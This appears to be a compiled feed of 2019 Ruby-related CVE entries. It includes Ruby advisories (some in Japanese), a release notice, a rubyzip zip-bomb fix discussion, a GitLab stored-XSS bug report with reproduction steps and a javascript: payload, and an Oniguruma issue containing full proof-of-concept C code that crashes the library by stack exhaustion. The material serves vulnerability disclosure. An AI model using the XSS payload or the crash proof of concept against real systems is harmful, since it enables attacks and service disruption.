Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows code injection if the first argument (aka the "command" argument) to Shell#[] or Shell#test in lib/shell.rb is untrusted data. An attacker can exploit this to call an arbitrary Ruby method.

Posted by mame on 1 Oct 2019

Ruby の標準添付ライブラリである lib/shell.rb の Shell#\[\] および Shell#test にコード挿入脆弱性が発見されました。この脆弱性は、CVE-2019-16255 として登録されています。

**詳細**

lib/shell.rb で定義されている Shell#\[\] およびその別名 Shell#test において、第一引数（”command”引数）に信頼できないデータを与えていた場合にコード挿入が可能でした。攻撃者はこれを悪用することで任意のRubyメソッドを呼び出すことができます。

一般に、信頼できないデータをShellのメソッドに渡すことは危険なので、ユーザはそういうことをしてはなりません。今回のケースを脆弱性として扱うのは、Shell#\[\] と Shell#test はファイル検査目的と考えられるためです。

この問題の影響を受けるバージョンの Ruby のユーザーは、速やかに問題の修正されたバージョンに更新してください。

**影響を受けるバージョン**

*   Ruby 2.3 以前のすべてのリリース
*   Ruby 2.4.7 以前のすべての Ruby 2.4 系列
*   Ruby 2.5.6 以前のすべての Ruby 2.5 系列
*   Ruby 2.6.4 以前のすべての Ruby 2.6 系列
*   Ruby 2.7.0-preview1

**クレジット**

この脆弱性情報は、ooooooo\_q 氏によって報告されました。

**更新履歴**

*   2019-10-01 20:00:00 (JST) 初版

CVE-2019-16255: CVE-2019-16255: Shell#[]およびShell#testのコード挿入脆弱性

Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.

Posted by usa on 1 Oct 2019

Ruby 2.4.8 がリリースされました。 これは 2.4 系列のセキュリティ修正リリースです。

今回のリリースでは、以下のセキュリティ上の問題に対する対応が含まれています。

*   CVE-2019-16255: Shell#\[\]およびShell#testのコード挿入脆弱性
*   CVE-2019-16254: WEBrick における HTTP レスポンス偽装の脆弱性について（追加の修正）
*   CVE-2019-15845: File.fnmatch の NUL 文字挿入脆弱性
*   CVE-2019-16201: WEBrickのDigest認証に関する正規表現Denial of Serviceの脆弱性

Ruby 2.4 系列は、現在、セキュリティメンテナンスフェーズにあります。 このフェーズ中は、重大なセキュリティ上の問題への対応のみが行われます。 現在の予定では、2020 年 3 月末頃を目処に、2.4 系列のセキュリティメンテナンスならびに公式サポートは終了する見込みです。 現在、2.4 系列を利用しているユーザーの皆さんは、なるべく早く、2.6 系列等のより新しいバージョン系列の Ruby への移行を検討されるよう、お勧めします。

**更新 (10/2 13:00 JST):** 非 root ユーザーにおいて Ruby 2.4.8 の tarball からインストールすることができない問題が確認されています。 \[Bug #16197\] にて対応を進める予定です。

**ダウンロード**

*   https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.8.tar.bz2
    
        SIZE: 12204030
        SHA1: 5f742a8df243fa4e216ff6f0c26cc8222a182459
        SHA256: e30eedd91386bec81489d2637522c9017aebba46f98e8b502f679df6b2f6a469
        SHA512: 2d7e0f5ad766e2a12a1b53ff838e6bfe86244ffb7202196769c25e9df6f71f3ccdd8605e7ef35c53e54310bc82caf6b368ad5111dd0a3ad70a3aae1a7be93f08
        
    
*   https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.8.tar.gz
    
        SIZE: 13800260
        SHA1: a13b0915b7fb3dd0fe1ed6a4e3640034038ba6c9
        SHA256: 37f0d180afa56ec3e7a3669c6f1b6ee8a47a811261f0e1afa8f817c8b577bd68
        SHA512: 4e5068b73356a9fa0bd2c8aaa261909039653c62dc363dd8b36c9c73b11b9c4e6ade752d7c67f1b38c00e27a4861f94ce696158bd210035ea0b417d0887a329b
        
    
*   https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.8.tar.xz
    
        SIZE: 9813812
        SHA1: adf24e0b0ad1755067435f21baa8d142bcaff5a9
        SHA256: a2a8f53ef14b891821dbbf67b081d7b9e223007a347000ff4a86a226a4708272
        SHA512: 5f51a8312c23c1c2bfbb9c59efbd789492a4a7e4b1d4e7764db6eaaa542008e814b40817f10825e22c7fa8715fb9187be5d09b06128da211559b3601785937ea
        
    
*   https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.8.zip
    
        SIZE: 15322048
        SHA1: 756a206a5f91c1237432f693b157a6842039d760
        SHA256: a84e1c946761b1ed947194b6248a50f9aee21ca412dcd6021973951fd846a035
        SHA512: dcf7dead5baed4ffbd68016581ef1162f78729db9b5a49501a04d68d768e9138faa6e293c91dd9203a9a28d406bb236dd633688f1e96a07906e37db273ac8846
        
    

**リリースコメント**

リリースに協力してくれた皆様、また、脆弱性情報を報告してくれた皆様に感謝します。

CVE-2019-16254: Ruby 2.4.8 リリース

WEBrick::HTTPAuth::DigestAuth in Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 has a regular expression Denial of Service cause by looping/backtracking. A victim must expose a WEBrick server that uses DigestAuth to the Internet or a untrusted network.

CVE-2019-16201

In the Loofah gem for Ruby through v2.3.0 unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished.

CVE-2019-15587

The netaddr gem before 2.0.4 for Ruby has misconfigured file permissions, such that a gem install may result in 0777 permissions in the target filesystem.

**15 versions since July 25, 2009:**

*   2.0.6 \- July 08, 2022 (23 KB)
*   2.0.5 \- October 07, 2021 (23 KB)
*   2.0.4 \- October 03, 2019 (21.5 KB)
*   2.0.3 \- March 23, 2018 (21.5 KB)
*   2.0.2 \- March 23, 2018 (21.5 KB) yanked
*   2.0.1 \- January 22, 2018 (21 KB)
*   2.0 \- January 19, 2018 (21 KB) yanked
*   1.5.3 \- July 08, 2022 (39 KB)
*   1.5.1 \- January 25, 2016 (40.5 KB)
*   1.5.0 \- July 25, 2009 (39.5 KB)
*   1.4.0 \- July 25, 2009 (38.5 KB)
*   1.3.0 \- July 25, 2009 (39 KB)
*   1.2.0 \- July 25, 2009 (36 KB)
*   1.1.0 \- July 25, 2009 (34.5 KB)
*   1.0.0 \- July 25, 2009 (32.5 KB)

CVE-2019-17383: All versions of netaddr | RubyGems.org

In Rubyzip before 1.3.0, a crafted ZIP file can bypass application checks on ZIP entry sizes because data about the uncompressed size can be spoofed. This allows attackers to cause a denial of service (disk consumption).

**Update (2019-09-25): Assigned CVE-2019-16892**

To extract zip files safely:

*   If you upgrade to rubyzip >= 1.3.0 and < 2.0.0, you must:
    
    1.  be sure to check entry.size as illustrated in the README before you call entry.extract, and
    2.  set Zip.validate_entry_sizes = true to enable the validation added in this PR.
*   If you upgrade to rubyzip >= 2.0.0, you must:
    
    1.  be sure to check entry.size as illustrated in the README before you call entry.extract.
    2.  (there is no step 2)

If you are using a recent (not EOL) version of ruby, the upgrade to 2.0.0 should be smooth. See the Changelog for details.

Fix #193 ("Protection Against Zip Bombs")

Currently there is no way to safely check how much data the Zip::Entry#extract method will actually extract, because the uncompressed size reported in the zip can be spoofed, and the extraction happens in the method where the caller can't check on its progress.

This can lead to denial of service through disk exhaustion if the input is a zip bomb.

**Approach**

The approach taken here is based on the validateEntrySizes option for node's yauzl unzipping library: rubyzip can check that it doesn't extract (much) more than the expected amount of data, based on the uncompressed size reported in the zip file. That way the caller can check the entry's uncompressed size before extracting and trust that it is not misleading.

The "much" in "much more" above is because rubyzip writes the data in chunks (currently 32KiB), and it may write up to one chunk more than expected, but that should be negligible, and there will be an error that signals that rubyzip wrote more data than expected.

**Impact**

Zip files with incorrectly reported uncompressed sizes that worked before will now fail with a Zip::EntrySizeError. Like in yauzl, the safe behaviour is the default but a flag is provided to allow the caller to (dangerously) skip the checks:

Zip.validate\_entry\_sizes \= false

EDIT: Following discussion below, false will be the default in the 1.3 release. We'll default to true in 2.0.

I have updated the README to say that the caller should be checking the size before extracting. I also reorganised some of the options, since there are now quite a few.

**Review**

I will aim to leave this open for 1 week for review. CC @simonoff @olleolleolle @hainesr who have been active recently.

It probably merits at least a minor version bump.

**Credit**

Thanks to the GE Digital Cyber Security Team for providing a proof of concept, which was the basis for the test case.

Thanks to @thejoshwolfe for providing (I think) a good example of how to handle this, in yauzl.

CVE-2019-16892: Validate entry sizes when extracting by jdleesmiller · Pull Request #403 · rubyzip/rubyzip

SciLexer.dll in Scintilla in Notepad++ (x64) before 7.7 allows remote code execution or denial of service via Unicode characters in a crafted .ml file.

CVE-2019-16294: Scintilla

An input validation and output encoding issue was discovered in the GitLab CE/EE wiki pages feature which could result in a persistent XSS. This vulnerability was addressed in 12.1.2, 12.0.4, and 11.11.6.

Skip to content

Open Issue created Apr 06, 2019 by **GitLab SecurityBot@gitlab-securitybot**Reporter

**Stored XSS in Wiki pages**

**HackerOne report #526325** by ryhmnlfj on 2019-04-04, assigned to hackerjuan:

**Summary**

I found Stored XSS using Wiki-specific Hierarchical link Markdown in Wiki pages.

**Steps to reproduce**

1.  Sign in to GitLab.
2.  Open a Project page that you have permission to edit Wiki pages.
3.  Open Wiki page.
4.  Click "New page" button.
5.  Fill out "Page slug" form with javascript:.
6.  Click "Create page" button.
7.  Fill out the each form as follows:  
    Title: javascript:  
    Format: Markdown  
    Content: [XSS](.alert(1);)  
    (Please see "CreatePage.png")  
    
8.  Click "Create page" button.
9.  Click "XSS" link in created page.

**What is the current _bug_ behavior?**

The alert dialog appears after clicking "XSS" link in created page.  
Please see "Result\_Firefox.png".  

**Description In Detail:**

GitLab application converts the Markdown string .alert(1); to the href attribute javascript:alert(1);.  
Furthermore, Wiki-specific Markdown string . is converted to javascript: in this case.

**What is the expected _correct_ behavior?**

The dangerous href attribute javascript:alert(1); should be filtered.  
A safe HTTP/HTTPS link should be rendered instead.

**Additional Informations:**

1.  In the above case, another Wiki-specific Markdown string .. is also converted to javascript:.
    
2.  Using Title string such as javascript:STRING_EXPECTED_REMOVING also reproduces this vulnerability.  
    For example, if a wiki page is created with a disguised Title string JavaScript::SubClassName.function_name, GitLab application converts Wiki-specific Markdown string . to JavaScript: in such page.  
    It seems that GitLab application recognizes scheme-like string JavaScript: and removes the rest of Title string :SubClassName.function_name.
    
3.  An attacker can use various schemes by replacing Title string javascript: to other scheme. (e.g. data:, vbscript:, and so on.)
    

**Output of checks**

This bug happens on the official Docker installation of GitLab Enterprise Edition 11.9.4-ee.

**Results of GitLab environment info**

Output of sudo gitlab-rake gitlab:env:info:

    System information  
    System:		  
    Proxy:		no  
    Current User:	git  
    Using RVM:	no  
    Ruby Version:	2.5.3p105  
    Gem Version:	2.7.6  
    Bundler Version:1.16.6  
    Rake Version:	12.3.2  
    Redis Version:	3.2.12  
    Git Version:	2.18.1  
    Sidekiq Version:5.2.5  
    Go Version:	unknown
    
    GitLab information  
    Version:	11.9.4-ee  
    Revision:	55be7f0  
    Directory:	/opt/gitlab/embedded/service/gitlab-rails  
    DB Adapter:	postgresql  
    DB Version:	9.6.11  
    URL:		http://gitlab.example.com  
    HTTP Clone URL:	http://gitlab.example.com/some-group/some-project.git  
    SSH Clone URL:	git@gitlab.example.com:some-group/some-project.git  
    Elasticsearch:	no  
    Geo:		no  
    Using LDAP:	no  
    Using Omniauth:	yes  
    Omniauth Providers: 
    
    GitLab Shell  
    Version:	8.7.1  
    Repository storage paths:  
    - default: 	/var/opt/gitlab/git-data/repositories  
    GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
    Git:		/opt/gitlab/embedded/bin/git  

**Impact**

If wiki pages created by using this vulnerability are visible to everyone (Wiki Visibility setting is set to "Everyone With Access") in "Public" project, there is a possibility that a considerable number of GitLab users and visitors click a malicious link.

**Attachments**

**Warning:** Attachments received through HackerOne, please exercise caution!

*   CreatePage.png
*   Result\_Firefox.png

CVE-2019-5467: Stored XSS in Wiki pages (#60143) · Issues · GitLab.org / GitLab FOSS · GitLab

Oniguruma before 6.9.3 allows Stack Exhaustion in regcomp.c because of recursion in regparse.c.

If Oniguruma try to parse very deep regex nodes, it causes stack buffer overflow due to deep recursive calls to some parsing functions like optimize\_nodes(), tree\_min\_len().

Here is a POC source code that simply executes onig\_search() with very large regular expression "X+++++++++++++++++++++++++++++++ .... ".

/\*
 \* oniguruma\_sbof.c
 \*/
#include <stdio.h\>
#include <stdlib.h\>
#include <string.h\>
#include "oniguruma.h"

extern int exec(OnigSyntaxType\* syntax, char\* apattern, char\* astr)
{
  int r;
  unsigned char \*start, \*range, \*end;
  regex\_t\* reg;
  OnigErrorInfo einfo;
  OnigRegion \*region;
  UChar\* pattern = (UChar\* )apattern;
  UChar\* str     = (UChar\* )astr;

  r = onig\_new(&reg, pattern, pattern + strlen((char\* )pattern),
               ONIG\_OPTION\_DEFAULT, ONIG\_ENCODING\_ASCII, syntax, &einfo);
  if (r != ONIG\_NORMAL) {
    char s\[ONIG\_MAX\_ERROR\_MESSAGE\_LEN\];
    onig\_error\_code\_to\_str((UChar\* )s, r, &einfo);
    fprintf(stderr, "ERROR: %s\\n", s);
    return -1;
  }

  region = onig\_region\_new();

  end   = str + strlen((char\* )str);
  start = str;
  range = end;
  r = onig\_search(reg, str, end, start, range, region, ONIG\_OPTION\_NONE);
  if (r >= 0) {
    int i;

    fprintf(stderr, "match at %d\\n", r);
    for (i = 0; i < region->num\_regs; i++) {
      fprintf(stderr, "%d: (%d\-%d)\\n", i, region->beg\[i\], region->end\[i\]);
    }
  }
  else if (r == ONIG\_MISMATCH) {
    fprintf(stderr, "search fail\\n");
  }
  else { /\* error \*/
    char s\[ONIG\_MAX\_ERROR\_MESSAGE\_LEN\];
    onig\_error\_code\_to\_str((UChar\* )s, r);
    fprintf(stderr, "ERROR: %s\\n", s);
    onig\_region\_free(region, 1 /\* 1:free self, 0:free contents only \*/);
    onig\_free(reg);
    return -1;
  }

  onig\_region\_free(region, 1 /\* 1:free self, 0:free contents only \*/);
  onig\_free(reg);
  return 0;
}

#define REGEX\_SZ 0x10000

extern int main(int argc, char\* argv\[\])
{
  int r, i;

  OnigEncoding use\_encs\[\] = { ONIG\_ENCODING\_ASCII };
  char regex\[REGEX\_SZ\] = {0};  
  regex\[0\] = 'X';
  for (i = 1; i < REGEX\_SZ; i++) regex\[i\] = '+';

  onig\_initialize(use\_encs, sizeof(use\_encs)/sizeof(use\_encs\[0\]));
  
  r = exec(ONIG\_SYNTAX\_RUBY, regex, "bgc");

  onig\_end();
  return r;
}

    gcc -g -o oniguruma_stack oniguruma_stack.c -lonig
    ./oniguruma_stack
    Segmentation fault (core dumped)
    

    gdb -q ./oniguruma_syntax -c core
    Reading symbols from ./oniguruma_stack...done.                                        
    [New LWP 19257]                                                                       
    Core was generated by `./oniguruma_stack'.                                            
    Program terminated with signal SIGSEGV, Segmentation fault.                           
    #0  0x00007fe64f65fde5 in tree_min_len (                                              
        node=<error reading variable: Cannot access memory at address 0x7ffcc7ec9fe8>,    
        env=<error reading variable: Cannot access memory at address 0x7ffcc7ec9fe0>)     
        at regcomp.c:2839                                                                 
    2839    {                                                                             
    (gdb) bt                    
    #0  0x00007fe64f65fde5 in tree_min_len (                                              
        node=<error reading variable: Cannot access memory at address 0x7ffcc7ec9fe8>,    
        env=<error reading variable: Cannot access memory at address 0x7ffcc7ec9fe0>)     
        at regcomp.c:2839
    #1  0x00007fe64f660196 in tree_min_len (node=0x55b2d734a570, env=0x7ffcc86b7470)
        at regcomp.c:2942
    #2  0x00007fe64f66009b in tree_min_len (node=0x55b2d734a5b0, env=0x7ffcc86b7470)
        at regcomp.c:2913
    #3  0x00007fe64f660196 in tree_min_len (node=0x55b2d734a5f0, env=0x7ffcc86b7470)
        at regcomp.c:2942
    #4  0x00007fe64f66009b in tree_min_len (node=0x55b2d734a630, env=0x7ffcc86b7470)
        at regcomp.c:2913
    #5  0x00007fe64f660196 in tree_min_len (node=0x55b2d734a670, env=0x7ffcc86b7470)
        at regcomp.c:2942
    #6  0x00007fe64f66009b in tree_min_len (node=0x55b2d734a6b0, env=0x7ffcc86b7470)
        at regcomp.c:2913
    #7  0x00007fe64f660196 in tree_min_len (node=0x55b2d734a6f0, env=0x7ffcc86b7470)
        at regcomp.c:2942
    #8  0x00007fe64f66009b in tree_min_len (node=0x55b2d734a730, env=0x7ffcc86b7470)
        at regcomp.c:2913
    #9  0x00007fe64f660196 in tree_min_len (node=0x55b2d734a770, env=0x7ffcc86b7470)
        at regcomp.c:2942
    #10 0x00007fe64f66009b in tree_min_len (node=0x55b2d734a7b0, env=0x7ffcc86b7470)
        at regcomp.c:2913
    #11 0x00007fe64f660196 in tree_min_len (node=0x55b2d734a7f0, env=0x7ffcc86b7470)
        at regcomp.c
    ....

CVE-2019-16163: Stack Exhaustion Problem caused by some parsing functions in regcomp.c making recursive calls to themselves. · Issue #147 · kkos/oniguruma

A command injection vulnerability in Nokogiri v1.10.3 and earlier allows commands to be executed in a subprocess via Ruby's `Kernel.open` method. Processes are vulnerable only if the undocumented method `Nokogiri::CSS::Tokenizer#load_file` is being called with unsafe user input as the filename. This vulnerability appears in code generated by the Rexical gem versions v1.0.6 and earlier. Rexical is used by Nokogiri to generate lexical scanner code for parsing CSS queries. The underlying vulnerability was addressed in Rexical v1.0.7 and Nokogiri upgraded to this version of Rexical in Nokogiri v1.10.4.

Tag

#ruby